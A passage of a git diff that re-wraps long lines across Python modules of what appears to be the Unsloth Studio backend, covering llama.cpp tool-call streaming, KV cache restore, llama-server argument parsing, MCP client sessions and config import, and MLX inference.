_it_r.get("predicted_ms", 0) _accumulated_predicted_n += _it_r.get("predicted_n", 0) @@ -11232,7 +11727,9 @@ class LlamaCppBackend: elif not _suppress_visible_output: # Turn ended as a plain answer (no [ARGS] followed): the held # rehearsal tail is real prose, release it. - _final_clean = _strip_tool_markup_streaming(cumulative_display) + _final_clean = _strip_tool_markup_streaming( + cumulative_display + ) if len(_final_clean) > len(_last_emitted): yield {"type": "content", "text": _final_clean} @@ -11265,7 +11762,12 @@ class LlamaCppBackend: tool_calls = [ tool_calls_acc[i] for i in sorted(tool_calls_acc) - if (tool_calls_acc[i].get("function", {}).get("name", "").strip()) + if ( + tool_calls_acc[i] + .get("function", {}) + .get("name", "") + .strip() + ) ] or None if not tool_calls: # Unconditional re-parse: we only reach DRAINING when the buffer looked like a @@ -11303,13 +11805,17 @@ class LlamaCppBackend: "tool_name": _pname, "tool_call_id": _pid, "result": "", - "provenance": tool_event_provenance(provisional = True), + "provenance": tool_event_provenance( + provisional = True + ), } # Merge metrics from prior tool iterations so they aren't dropped. yield {"type": "status", "text": ""} if content_accum: # Strip leaked tool-call XML before yielding. - content_accum = _strip_tool_markup(content_accum, final = True) + content_accum = _strip_tool_markup( + content_accum, final = True + ) # A truncated bare-JSON call has no XML markup to strip and didn't parse. With # Auto-Heal on, drop a leading ENABLED-tool fragment (ordinary JSON answers untouched); # off keeps it visible per the strict contract. @@ -11380,9 +11886,11 @@ class LlamaCppBackend: if ( _text_provisional_id and _text_provisional_id in provisional_started_tool_calls - and _text_provisional_id not in resolved_provisional_tool_call_ids + and _text_provisional_id + not in resolved_provisional_tool_call_ids and tc.get("id") not in provisional_started_tool_calls - and provisional_started_tool_calls[_text_provisional_id] == tool_name + and provisional_started_tool_calls[_text_provisional_id] + == tool_name ): tc = {**tc, "id": _text_provisional_id} provisional_match = tc.get("id") in provisional_started_tool_calls @@ -11401,7 +11909,9 @@ class LlamaCppBackend: # id; close it so it never dangles when the controller # turns the call into an internal no-op (duplicate / # disabled / render_html_repeat). - resolved_provisional_tool_call_ids.add(decision.tool_call_id) + resolved_provisional_tool_call_ids.add( + decision.tool_call_id + ) yield { "type": "tool_end", "tool_name": decision.tool_name, @@ -11420,7 +11930,9 @@ class LlamaCppBackend: continue if not assistant_appended: - assistant_msg["tool_calls"] = [decision.as_assistant_tool_call()] + assistant_msg["tool_calls"] = [ + decision.as_assistant_tool_call() + ] conversation.append(assistant_msg) assistant_appended = True else: @@ -11444,7 +11956,9 @@ class LlamaCppBackend: ) approval_id = new_approval_id() if needs_confirm else "" decision_slot = ( - begin_tool_decision(session_id, approval_id) if needs_confirm else None + begin_tool_decision(session_id, approval_id) + if needs_confirm + else None ) start_event = decision.tool_start_event() start_event["approval_id"] = approval_id @@ -11464,7 +11978,9 @@ class LlamaCppBackend: == "deny" ): decision_slot = None - resolved_provisional_tool_call_ids.add(decision.tool_call_id) + resolved_provisional_tool_call_ids.add( + decision.tool_call_id + ) yield { "type": "tool_end", "tool_name": decision.tool_name, @@ -11488,7 +12004,9 @@ class LlamaCppBackend: if decision_slot is not None: abort_tool_decision(decision_slot, approval_id) - _effective_timeout = None if tool_call_timeout >= 9999 else tool_call_timeout + _effective_timeout = ( + None if tool_call_timeout >= 9999 else tool_call_timeout + ) # RAG: cap paraphrased KB re-searches that slip past the dup guard. if ( decision.tool_name == "search_knowledge_base" @@ -11552,7 +12070,10 @@ class LlamaCppBackend: # Clear tool status badge before next generation/final pass. yield {"type": "status", "text": ""} - if tool_controller.force_final_answer or not tool_controller.active_tools(): + if ( + tool_controller.force_final_answer + or not tool_controller.active_tools() + ): _append_budget_exhausted_nudge = False break # Count only real tool turns against the cap so reserved re-prompt slots can't become @@ -11677,12 +12198,16 @@ class LlamaCppBackend: and not _final_reasoning_summary_emitted ): _final_reasoning_summary_emitted = True - yield _reasoning_summary_event(_final_reasoning_started_at) + yield _reasoning_summary_event( + _final_reasoning_started_at + ) if has_content_tokens: cumulative += "" yield { "type": "content", - "text": _strip_tool_markup(cumulative, final = True), + "text": _strip_tool_markup( + cumulative, final = True + ), } else: cumulative = reasoning_text @@ -11726,7 +12251,9 @@ class LlamaCppBackend: and not _final_reasoning_summary_emitted ): _final_reasoning_summary_emitted = True - yield _reasoning_summary_event(_final_reasoning_started_at) + yield _reasoning_summary_event( + _final_reasoning_started_at + ) has_content_tokens = True if in_thinking: cumulative += "" @@ -11794,7 +12321,9 @@ class LlamaCppBackend: if _has_non_text_content(system): return True for msg in messages or []: - if isinstance(msg, dict) and _has_non_text_content(msg.get("content", "")): + if isinstance(msg, dict) and _has_non_text_content( + msg.get("content", "") + ): return True return False @@ -11820,7 +12349,9 @@ class LlamaCppBackend: system_text = _block_text(system) try: - with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client: + with httpx.Client( + timeout = 10, headers = self._auth_headers, trust_env = False + ) as client: def _tokenize(text: str) -> int: r = client.post( @@ -11834,7 +12365,9 @@ class LlamaCppBackend: tokens = r.json().get("tokens", []) if not isinstance(tokens, list): if strict: - raise RuntimeError("llama-server tokenizer returned invalid tokens") + raise RuntimeError( + "llama-server tokenizer returned invalid tokens" + ) return 0 return len(tokens) @@ -11936,7 +12469,9 @@ class LlamaCppBackend: """Codec name on match, None on non-audio, raises on transport/JSON errors.""" if not self.is_loaded: return None - with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client: + with httpx.Client( + timeout = 10, headers = self._auth_headers, trust_env = False + ) as client: def _detok(tid: int) -> str: # Non-200 means "marker not in vocab" -- keep probing. @@ -11956,7 +12491,9 @@ class LlamaCppBackend: return r.json().get("tokens", []) # Codec-specific tokens (not generic ones that non-audio models may have) - if "")) == 1 and len(_tok("<|audio_eos|>")) == 1: return "csm" @@ -11965,7 +12502,10 @@ class LlamaCppBackend: # Gemma 3n: ; Gemma 4: <|audio|> (not csm's <|AUDIO|>). if len(_tok("")) == 1 or len(_tok("<|audio|>")) == 1: return "audio_vlm" - if len(_tok("<|bicodec_semantic_0|>")) == 1 and len(_tok("<|bicodec_global_0|>")) == 1: + if ( + len(_tok("<|bicodec_semantic_0|>")) == 1 + and len(_tok("<|bicodec_global_0|>")) == 1 + ): return "bicodec" if len(_tok("<|c1_0|>")) == 1 and len(_tok("<|c2_0|>")) == 1: return "dac" @@ -12009,10 +12549,14 @@ class LlamaCppBackend: from huggingface_hub import snapshot_download import os - repo_path = snapshot_download("unsloth/Spark-TTS-0.5B", local_dir = "Spark-TTS-0.5B") + repo_path = snapshot_download( + "unsloth/Spark-TTS-0.5B", local_dir = "Spark-TTS-0.5B" + ) model_repo_path = os.path.abspath(repo_path) - LlamaCppBackend._codec_mgr.load_codec(audio_type, device, model_repo_path = model_repo_path) + LlamaCppBackend._codec_mgr.load_codec( + audio_type, device, model_repo_path = model_repo_path + ) logger.info(f"Loaded audio codec for GGUF TTS: {audio_type}") def generate_audio_response( @@ -12057,7 +12601,9 @@ class LlamaCppBackend: ) as client: resp = client.post(f"{self.base_url}/completion", json = payload) if resp.status_code != 200: - raise RuntimeError(f"llama-server returned {resp.status_code}: {resp.text}") + raise RuntimeError( + f"llama-server returned {resp.status_code}: {resp.text}" + ) data = resp.json() token_ids = ( diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py index 3380ebf5f5..507b8dcd37 100644 --- a/studio/backend/core/inference/llama_keepwarm.py +++ b/studio/backend/core/inference/llama_keepwarm.py @@ -114,7 +114,11 @@ def _note_untracked_end() -> None: def _is_idle(ttl_seconds: float) -> bool: with _lock: - return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds + return ( + _inflight == 0 + and _pending == 0 + and (time.monotonic() - _last_active) >= ttl_seconds + ) def _note_activity() -> None: @@ -240,16 +244,26 @@ def restore_kv_resume(backend, manifest) -> None: gguf = manifest.get("gguf") binary = manifest.get("binary") current = getattr(backend, "_gguf_path", None) - same_gguf = bool(gguf and current) and Path(current).resolve() == Path(gguf).resolve() + same_gguf = ( + bool(gguf and current) and Path(current).resolve() == Path(gguf).resolve() + ) if same_gguf: # Same path is not enough: shards may have been rewritten meanwhile. identity = getattr(backend, "_gguf_file_identity", None) - same_gguf = callable(identity) and identity(current) == manifest.get("gguf_stat") + same_gguf = callable(identity) and identity(current) == manifest.get( + "gguf_stat" + ) if same_gguf: # Nor the same file: launch overrides can invalidate KV numerics. fingerprint = getattr(backend, "_slot_launch_fingerprint", None) - same_gguf = callable(fingerprint) and manifest.get("launch") == fingerprint() - if same_gguf and binary and binary == getattr(backend, "_slot_save_binary", None): + same_gguf = ( + callable(fingerprint) and manifest.get("launch") == fingerprint() + ) + if ( + same_gguf + and binary + and binary == getattr(backend, "_slot_save_binary", None) + ): logger.info("Restoring saved slot KV onto the reloaded model") backend.restore_slots_for_resume(manifest) except Exception as exc: @@ -341,7 +355,9 @@ def _loaded_identity(backend): # Third slot is the advertised id (repo id) an auto-switch load sets on the # backend; it's the override key, so an idle stash keyed by the concrete load # path doesn't drop the user's saved launch flags on the alias reload. - advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + advertised = ( + getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + ) return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised) @@ -403,7 +419,9 @@ async def idle_unload_loop(poll_seconds: float = 15.0) -> None: _set_last_unloaded(freed) # let an alias request reload it if manifest and freed: _set_kv_resume({"identity": freed, **manifest}) - logger.info("Idle auto-unload: saved slot KV for restore on reload") + logger.info( + "Idle auto-unload: saved slot KV for restore on reload" + ) elif manifest: _delete_resume_files(manifest) logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl) diff --git a/studio/backend/core/inference/llama_server_args.py b/studio/backend/core/inference/llama_server_args.py index 7b42d2f40d..6e2e1ce45c 100644 --- a/studio/backend/core/inference/llama_server_args.py +++ b/studio/backend/core/inference/llama_server_args.py @@ -196,11 +196,17 @@ _SPLIT_SHADOWING_FLAGS: frozenset[str] = _SPLIT_MODE_FLAGS | _TENSOR_SPLIT_FLAGS _LAYER_OFFLOAD_FLAGS: frozenset[str] = frozenset( {"-ngl", "--gpu-layers", "--n-gpu-layers", "-fit", "--fit"} ) -_MOE_OFFLOAD_FLAGS: frozenset[str] = frozenset({"-ncmoe", "--n-cpu-moe", "-cmoe", "--cpu-moe"}) +_MOE_OFFLOAD_FLAGS: frozenset[str] = frozenset( + {"-ncmoe", "--n-cpu-moe", "-cmoe", "--cpu-moe"} +) _OFFLOAD_SHADOWING_FLAGS: frozenset[str] = _LAYER_OFFLOAD_FLAGS | _MOE_OFFLOAD_FLAGS _SHADOWING_FLAGS: frozenset[str] = ( - _CONTEXT_FLAGS | _CACHE_FLAGS | _SPEC_FLAGS | _TEMPLATE_FLAGS | _SPLIT_SHADOWING_FLAGS + _CONTEXT_FLAGS + | _CACHE_FLAGS + | _SPEC_FLAGS + | _TEMPLATE_FLAGS + | _SPLIT_SHADOWING_FLAGS ) # Shadowing flags that take no value -- strip the flag only, not the next token. @@ -233,16 +239,22 @@ def parse_ctx_override(args: Optional[Iterable[str]]) -> Optional[int]: i += 1 else: if i + 1 >= n or _flag_name(tokens[i + 1]) is not None: - raise ValueError(f"llama-server flag '{flag}' requires an integer value") + raise ValueError( + f"llama-server flag '{flag}' requires an integer value" + ) raw_value = tokens[i + 1] i += 2 try: value = int(str(raw_value).strip()) except ValueError as exc: - raise ValueError(f"llama-server flag '{flag}' requires an integer value") from exc + raise ValueError( + f"llama-server flag '{flag}' requires an integer value" + ) from exc if value < 0: - raise ValueError(f"llama-server flag '{flag}' requires a non-negative integer value") + raise ValueError( + f"llama-server flag '{flag}' requires a non-negative integer value" + ) override = value return override @@ -258,7 +270,9 @@ def resolve_requested_ctx(args: Optional[Iterable[str]], fallback_n_ctx: int) -> return override if override is not None else fallback_n_ctx -def _last_flag_value(args: Optional[Iterable[str]], flags: frozenset[str]) -> Optional[str]: +def _last_flag_value( + args: Optional[Iterable[str]], flags: frozenset[str] +) -> Optional[str]: """Return the last-wins string value among ``flags`` in extras, or None. Handles both ``--flag=value`` and ``--flag value`` forms and raises if a @@ -341,7 +355,9 @@ def parse_split_mode_override(args: Optional[Iterable[str]]) -> Optional[str]: return _last_flag_value(args, _SPLIT_MODE_FLAGS) -def resolve_tensor_parallel(args: Optional[Iterable[str]], fallback_tensor_parallel: bool) -> bool: +def resolve_tensor_parallel( + args: Optional[Iterable[str]], fallback_tensor_parallel: bool +) -> bool: """Return the tensor-parallel state load_model should treat as requested. A user-supplied ``--split-mode`` in extras last-wins-overrides the diff --git a/studio/backend/core/inference/llama_stats.py b/studio/backend/core/inference/llama_stats.py index ab0d287e8c..09e7d17a4a 100644 --- a/studio/backend/core/inference/llama_stats.py +++ b/studio/backend/core/inference/llama_stats.py @@ -41,7 +41,9 @@ class LlamaServerStatsLogger: def start(self): if self._thread is None: - self._thread = threading.Thread(target = self._run, name = "llama-stats", daemon = True) + self._thread = threading.Thread( + target = self._run, name = "llama-stats", daemon = True + ) self._thread.start() def stop(self): @@ -71,7 +73,9 @@ class LlamaServerStatsLogger: if not m: misses += 1 if misses == 3: # transient stall (load/GC); keep polling. - self._log.debug("engine_stats: /metrics scrape failing, still retrying") + self._log.debug( + "engine_stats: /metrics scrape failing, still retrying" + ) continue # real shutdown is driven by stop() from _kill_process misses = 0 # Generation tokens come from tokens_predicted_total (counter) and @@ -107,7 +111,9 @@ class LlamaServerStatsLogger: def maybe_start_stats_logger(base_url, logger): """Start a stats logger unless UNSLOTH_STUDIO_ENGINE_STATS disables it.""" - if (os.environ.get("UNSLOTH_STUDIO_ENGINE_STATS", "1") or "").strip().lower() in _OFF: + if ( + os.environ.get("UNSLOTH_STUDIO_ENGINE_STATS", "1") or "" + ).strip().lower() in _OFF: return None try: interval = float(os.environ.get("UNSLOTH_STUDIO_ENGINE_STATS_INTERVAL_S", "10")) diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py index 64ab38ec75..9b5778454c 100644 --- a/studio/backend/core/inference/local_model_resolver.py +++ b/studio/backend/core/inference/local_model_resolver.py @@ -145,7 +145,11 @@ def _build_index() -> dict[str, _LocalGgufEntry]: _resolve_hf_cache_dir, _is_hidden_model, ) - from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs + from utils.paths import ( + legacy_hf_cache_dir, + hf_default_cache_dir, + lmstudio_model_dirs, + ) index: dict[str, _LocalGgufEntry] = {} seen_hf: set[str] = set() @@ -162,7 +166,9 @@ def _build_index() -> dict[str, _LocalGgufEntry]: return [] seen_hf.add(rp) return _scan_hf_cache(directory) - except Exception as exc: # a missing/malformed root must skip, never crash the index + except ( + Exception + ) as exc: # a missing/malformed root must skip, never crash the index logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc) return [] @@ -174,7 +180,11 @@ def _build_index() -> dict[str, _LocalGgufEntry]: except Exception as exc: logger.debug("auto-switch: ./models scan failed: %s", exc) try: - for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()): + for hf_dir in ( + _resolve_hf_cache_dir(), + legacy_hf_cache_dir(), + hf_default_cache_dir(), + ): found += _scan_hf_once(hf_dir) except Exception as exc: logger.debug("auto-switch: HF cache scan failed: %s", exc) @@ -189,7 +199,9 @@ def _build_index() -> dict[str, _LocalGgufEntry]: try: fp = Path(folder["path"]) found += ( - _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp) + _scan_models_dir(fp, limit = 200) + + _scan_hf_once(fp) + + _scan_lmstudio_dir(fp) ) except Exception as exc: logger.debug("auto-switch: scan folder %r failed: %s", folder, exc) @@ -214,7 +226,11 @@ def _build_index() -> dict[str, _LocalGgufEntry]: continue # Index every alias (including the path) so a client can resolve by any of # them, even though only the non-path loader_id is advertised. - for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)): + for key in ( + raw_id, + getattr(info, "model_id", None), + getattr(info, "display_name", None), + ): if key: index.setdefault(key.strip().lower(), entry) return index diff --git a/studio/backend/core/inference/mcp_client.py b/studio/backend/core/inference/mcp_client.py index 0256df944e..c3480db568 100644 --- a/studio/backend/core/inference/mcp_client.py +++ b/studio/backend/core/inference/mcp_client.py @@ -248,7 +248,9 @@ def _client( auth = OAuth(mcp_url = url, token_storage = _oauth_store()) transport_cls = ( - SSETransport if infer_transport_type_from_url(url) == "sse" else StreamableHttpTransport + SSETransport + if infer_transport_type_from_url(url) == "sse" + else StreamableHttpTransport ) return Client(transport_cls(url = url, headers = headers or None, auth = auth)) @@ -266,7 +268,9 @@ _STDIO_WEDGE_MARGIN = 15.0 # the scope includes a caller-supplied thread_id, so an unbounded cache is a # resource-exhaustion surface. Overridable via env for large deployments. try: - _STDIO_MAX_SESSIONS = max(1, int(os.environ.get("UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS", "32"))) + _STDIO_MAX_SESSIONS = max( + 1, int(os.environ.get("UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS", "32")) + ) except ValueError: _STDIO_MAX_SESSIONS = 32 @@ -401,7 +405,11 @@ class _StdioSession: # wedged loop. No deadline at all when the caller set none -- but poll # so a session closed under us (server update/delete) can't hang the # request thread forever on a stopped loop. - deadline = None if timeout is None else time.monotonic() + timeout + _STDIO_WEDGE_MARGIN + deadline = ( + None + if timeout is None + else time.monotonic() + timeout + _STDIO_WEDGE_MARGIN + ) try: while True: try: @@ -445,7 +453,9 @@ class _StdioSession: task.cancel() try: - asyncio.run_coroutine_threadsafe(_shutdown(), loop).result(_STDIO_CLOSE_TIMEOUT) + asyncio.run_coroutine_threadsafe(_shutdown(), loop).result( + _STDIO_CLOSE_TIMEOUT + ) except Exception as exc: # noqa: BLE001 logger.warning( "MCP stdio session close failed for %s: %s", @@ -547,7 +557,12 @@ def _return_stdio_key_lock(key: tuple, key_lock: _StdioKeyLock) -> None: def _get_stdio_session( - url: str, headers: Optional[dict], scope: Optional[str], deadline, cancel_event, config_check + url: str, + headers: Optional[dict], + scope: Optional[str], + deadline, + cancel_event, + config_check, ) -> _StdioSession: """``deadline`` is the caller's absolute monotonic budget (None = no limit): the key-lock wait and the connect share it, so a slow startup can't stack @@ -602,10 +617,14 @@ def _get_stdio_session( current = False if not current: session.close() - raise RuntimeError("MCP server was updated or removed while connecting") + raise RuntimeError( + "MCP server was updated or removed while connecting" + ) evicted: list = [] with _stdio_sessions_lock: - closed_while_connecting = _stdio_close_generation(url, headers) != generation + closed_while_connecting = ( + _stdio_close_generation(url, headers) != generation + ) if not closed_while_connecting: session.in_flight = 1 evicted = _evict_stdio_lru_locked() # bound the cache (LRU idle) @@ -613,11 +632,15 @@ def _get_stdio_session( if not _stdio_reaper_started: _stdio_reaper_started = True threading.Thread( - target = _stdio_session_reaper, name = "mcp-stdio-reaper", daemon = True + target = _stdio_session_reaper, + name = "mcp-stdio-reaper", + daemon = True, ).start() atexit.register(close_stdio_sessions) for victim in evicted: - logger.info("Evicting LRU idle stdio MCP session: %s", _stdio_log_id(victim.url)) + logger.info( + "Evicting LRU idle stdio MCP session: %s", _stdio_log_id(victim.url) + ) victim.close() if closed_while_connecting: session.close() @@ -683,7 +706,9 @@ def _evict_stdio_lru_locked() -> list: cache may transiently overshoot rather than kill an in-flight call.""" victims: list = [] while len(_stdio_sessions) >= _STDIO_MAX_SESSIONS: - idle = [(s.last_used, k) for k, s in _stdio_sessions.items() if s.in_flight == 0] + idle = [ + (s.last_used, k) for k, s in _stdio_sessions.items() if s.in_flight == 0 + ] if not idle: break _, oldest = min(idle, key = lambda item: item[0]) @@ -730,7 +755,8 @@ def _reap_idle_stdio_sessions(now: Optional[float] = None) -> None: expired = [ key for key, session in _stdio_sessions.items() - if session.in_flight == 0 and now - session.last_used >= _STDIO_SESSION_IDLE_TTL + if session.in_flight == 0 + and now - session.last_used >= _STDIO_SESSION_IDLE_TTL ] sessions = [_stdio_sessions.pop(key) for key in expired] for key in expired: @@ -778,7 +804,9 @@ _probe_cooloff_until: dict[str, float] = {} # endpoint/auth used to probe it (url, headers, oauth) or whether it's used at # all (is_enabled). A rename does not. The update route's eviction and # get_enabled_mcp_tools' mid-probe guard both key off this so they can't drift. -TOOL_CACHE_INVALIDATING_FIELDS = frozenset({"url", "headers_json", "use_oauth", "is_enabled"}) +TOOL_CACHE_INVALIDATING_FIELDS = frozenset( + {"url", "headers_json", "use_oauth", "is_enabled"} +) def get_cached_tools(server_id: str) -> Optional[list[dict]]: @@ -791,7 +819,11 @@ def cache_tools(server_id: str, tools: list[dict]) -> None: def record_probe_failure(server_id: str, use_oauth: bool = False) -> None: - cooloff = OAUTH_FAILED_PROBE_COOLOFF_SECONDS if use_oauth else FAILED_PROBE_COOLOFF_SECONDS + cooloff = ( + OAUTH_FAILED_PROBE_COOLOFF_SECONDS + if use_oauth + else FAILED_PROBE_COOLOFF_SECONDS + ) _probe_cooloff_until[server_id] = time.monotonic() + cooloff @@ -840,9 +872,13 @@ def _flatten_result(result: Any) -> str: notes = [] if images: n = len(images) - notes.append(f"{n} image{'s' if n > 1 else ''} attached; displayed to the user") + notes.append( + f"{n} image{'s' if n > 1 else ''} attached; displayed to the user" + ) if omitted: - notes.append(f"{omitted} image{'s' if omitted > 1 else ''} omitted (too large)") + notes.append( + f"{omitted} image{'s' if omitted > 1 else ''} omitted (too large)" + ) note = f"[{'; '.join(notes)}]" body = f"{body}\n{note}" if body else note @@ -925,7 +961,9 @@ def _call_stdio_tool( # attempt 0 may find the cached session stale/dead *before* dispatch and # reconnect once (safe); attempt 1 is a freshly connected session. for attempt in (0, 1): - session = _get_stdio_session(url, headers, scope, deadline, cancel_event, config_check) + session = _get_stdio_session( + url, headers, scope, deadline, cancel_event, config_check + ) try: # Serialize calls per session: overlapping same-scope calls must # not interleave operations on one stateful server (browser, REPL). @@ -971,7 +1009,9 @@ def _call_stdio_tool( raise RuntimeError("MCP server connection is not available") else: rem = _remaining() - coro = _race_tool_call(session.client.call_tool(name, args), rem, cancel_event) + coro = _race_tool_call( + session.client.call_tool(name, args), rem, cancel_event + ) return session.run(coro, rem) except (_MCPCancelled, asyncio.TimeoutError): # _race_tool_call cancels the pending call but cancellation is diff --git a/studio/backend/core/inference/mcp_config_import.py b/studio/backend/core/inference/mcp_config_import.py index 534ed84c1d..3c316e0378 100644 --- a/studio/backend/core/inference/mcp_config_import.py +++ b/studio/backend/core/inference/mcp_config_import.py @@ -60,14 +60,19 @@ def _enabled_from_spec(label: str, spec: dict) -> tuple[Optional[bool], Optional return not disabled, None -def _parse_entry(name: str, spec: object) -> tuple[Optional[ParsedMcpEntry], Optional[str]]: +def _parse_entry( + name: str, spec: object +) -> tuple[Optional[ParsedMcpEntry], Optional[str]]: label = str(name).strip() if not label: return None, "Server entry has an empty name." if not isinstance(spec, dict): return None, f"{label}: entry must be an object." if _has_variable_reference(spec): - return None, f"{label}: VS Code variable references are not supported by import." + return ( + None, + f"{label}: VS Code variable references are not supported by import.", + ) is_enabled, error = _enabled_from_spec(label, spec) if error: @@ -91,8 +96,13 @@ def _parse_entry(name: str, spec: object) -> tuple[Optional[ParsedMcpEntry], Opt if sandbox_enabled is not None and not isinstance(sandbox_enabled, bool): return None, f"{label}: 'sandboxEnabled' must be true or false." if sandbox_enabled: - return None, f"{label}: sandboxed stdio servers cannot be preserved by import." - unsupported = [field for field in _UNSUPPORTED_STDIO_FIELDS if spec.get(field) is not None] + return ( + None, + f"{label}: sandboxed stdio servers cannot be preserved by import.", + ) + unsupported = [ + field for field in _UNSUPPORTED_STDIO_FIELDS if spec.get(field) is not None + ] if unsupported: return None, f"{label}: import cannot preserve {', '.join(unsupported)}." if spec.get("oauth") is not None: @@ -104,7 +114,10 @@ def _parse_entry(name: str, spec: object) -> tuple[Optional[ParsedMcpEntry], Opt if env is not None and not isinstance(env, dict): return None, f"{label}: 'env' must be an object." if _has_null_value(env): - return None, f"{label}: null environment values are not supported by import." + return ( + None, + f"{label}: null environment values are not supported by import.", + ) url = join_stdio_command([command, *(str(a) for a in args)]) headers = _coerce_str_dict(env) if env else None return ParsedMcpEntry(label, url, headers, True, is_enabled = is_enabled), None @@ -120,12 +133,21 @@ def _parse_entry(name: str, spec: object) -> tuple[Optional[ParsedMcpEntry], Opt field for field in _UNSUPPORTED_TIMEOUT_FIELDS if spec.get(field) is not None ] if unsupported_timeout: - return None, f"{label}: import cannot preserve {', '.join(unsupported_timeout)}." + return ( + None, + f"{label}: import cannot preserve {', '.join(unsupported_timeout)}.", + ) url_infers_sse = url.rstrip("/").endswith("/sse") if entry_type == "sse" and not url_infers_sse: - return None, f"{label}: explicit SSE transport cannot be preserved for this URL." + return ( + None, + f"{label}: explicit SSE transport cannot be preserved for this URL.", + ) if entry_type in _HTTP_REMOTE_TYPES and url_infers_sse: - return None, f"{label}: explicit HTTP transport cannot be preserved for this URL." + return ( + None, + f"{label}: explicit HTTP transport cannot be preserved for this URL.", + ) oauth_raw = spec.get("oauth") if oauth_raw is not None and not isinstance(oauth_raw, dict): return None, f"{label}: 'oauth' must be an object." diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py index e78c93b6f3..93ea95d23a 100644 --- a/studio/backend/core/inference/mlx_inference.py +++ b/studio/backend/core/inference/mlx_inference.py @@ -50,12 +50,16 @@ def _temporary_mlx_adapter_state(model, use_adapter): "the loaded adapter or False for the base model." ) if use_adapter is not True and use_adapter is not False: - raise TypeError("Unsloth MLX: use_adapter must be None, True, False, or a string.") + raise TypeError( + "Unsloth MLX: use_adapter must be None, True, False, or a string." + ) adapters, unsupported = _mlx_adapter_modules(model) if use_adapter is True: if not adapters and not unsupported: - logger.warning("MLX adapter requested, but the active model has no adapter layers") + logger.warning( + "MLX adapter requested, but the active model has no adapter layers" + ) yield return if unsupported: @@ -83,7 +87,11 @@ def _mlx_vlm_model_config(model): config / _config actually carries a model_type.""" def _model_type(cfg): - return cfg.get("model_type") if isinstance(cfg, dict) else getattr(cfg, "model_type", None) + return ( + cfg.get("model_type") + if isinstance(cfg, dict) + else getattr(cfg, "model_type", None) + ) configs = [ cfg @@ -153,10 +161,13 @@ def _prompt_serializes_vlm_media(prompt, messages): if isinstance(message, dict): media_reprs.update(_vlm_media_reprs(message.get("content"))) text_content = [ - content_to_text(message.get("content")) for message in messages if isinstance(message, dict) + content_to_text(message.get("content")) + for message in messages + if isinstance(message, dict) ] return any( - prompt.count(media_repr) > sum(content.count(media_repr) for content in text_content) + prompt.count(media_repr) + > sum(content.count(media_repr) for content in text_content) for media_repr in media_reprs ) @@ -218,7 +229,9 @@ def _mlx_distributed_rank_size(group = None): if world_size < 1: raise ValueError(f"Invalid MLX distributed world_size={world_size}.") if rank < 0 or rank >= world_size: - raise ValueError(f"Invalid MLX distributed rank={rank} for world_size={world_size}.") + raise ValueError( + f"Invalid MLX distributed rank={rank} for world_size={world_size}." + ) return rank, world_size @@ -363,7 +376,9 @@ class MLXInferenceBackend: self._hf_token = hf_token model_name = config.identifier if hasattr(config, "identifier") else str(config) is_vision = getattr(config, "is_vision", False) - distributed_rank, distributed_size = _mlx_distributed_rank_size(distributed_group) + distributed_rank, distributed_size = _mlx_distributed_rank_size( + distributed_group + ) is_distributed = distributed_group is not None and distributed_size > 1 self._distributed_group = distributed_group self._distributed_rank = distributed_rank @@ -668,7 +683,9 @@ class MLXInferenceBackend: preserve_thinking = preserve_thinking, ) if prompt is None: - raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible") + raise RuntimeError( + "apply_chat_template returned None — tokenizer may be incompatible" + ) # Parity with the transformers backend: if the template dropped the # requested tools, fall back to the native template so MLX text models @@ -716,7 +733,9 @@ class MLXInferenceBackend: ) ) if presence_penalty: - logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty))) + logits_processors.append( + _make_mlx_presence_penalty_processor(float(presence_penalty)) + ) if not logits_processors: logits_processors = None @@ -738,7 +757,10 @@ class MLXInferenceBackend: type(self._model).__name__, type(self._tokenizer).__name__, ) - with self._generation_lock, _temporary_mlx_adapter_state(self._model, _adapter_state): + with ( + self._generation_lock, + _temporary_mlx_adapter_state(self._model, _adapter_state), + ): final_response = None try: # Enter request-scoped model state before yielding any response. @@ -858,7 +880,9 @@ class MLXInferenceBackend: raise prompt_error = exc prompt_issue = ( - _vlm_prompt_issue(prompt, messages) if prompt_error is None else "a rendering error" + _vlm_prompt_issue(prompt, messages) + if prompt_error is None + else "a rendering error" ) if prompt_issue and has_tool_history: raise RuntimeError( @@ -908,12 +932,16 @@ class MLXInferenceBackend: ) prompt = recovered_prompt elif prompt_issue: - raise RuntimeError(f"VLM chat template returned {prompt_issue}.") from prompt_error + raise RuntimeError( + f"VLM chat template returned {prompt_issue}." + ) from prompt_error from core.inference.chat_template_helpers import detect_think_prefill # Re-emit an open prefill from the prompt (see _generate_text). - cumulative = detect_think_prefill(prompt, getattr(chat_target, "all_special_tokens", None)) + cumulative = detect_think_prefill( + prompt, getattr(chat_target, "all_special_tokens", None) + ) logger.info( "VLM generating: prompt_len=%d, has_image=%s", len(prompt), @@ -929,7 +957,9 @@ class MLXInferenceBackend: top_k = int(top_k or 0), min_p = float(min_p or 0.0), ) - _rep_active = repetition_penalty is not None and float(repetition_penalty) not in ( + _rep_active = repetition_penalty is not None and float( + repetition_penalty + ) not in ( 0.0, 1.0, ) @@ -943,7 +973,9 @@ class MLXInferenceBackend: _vlm_processors.extend( make_logits_processors(repetition_penalty = float(repetition_penalty)) ) - _vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty))) + _vlm_processors.append( + _make_mlx_presence_penalty_processor(float(presence_penalty)) + ) 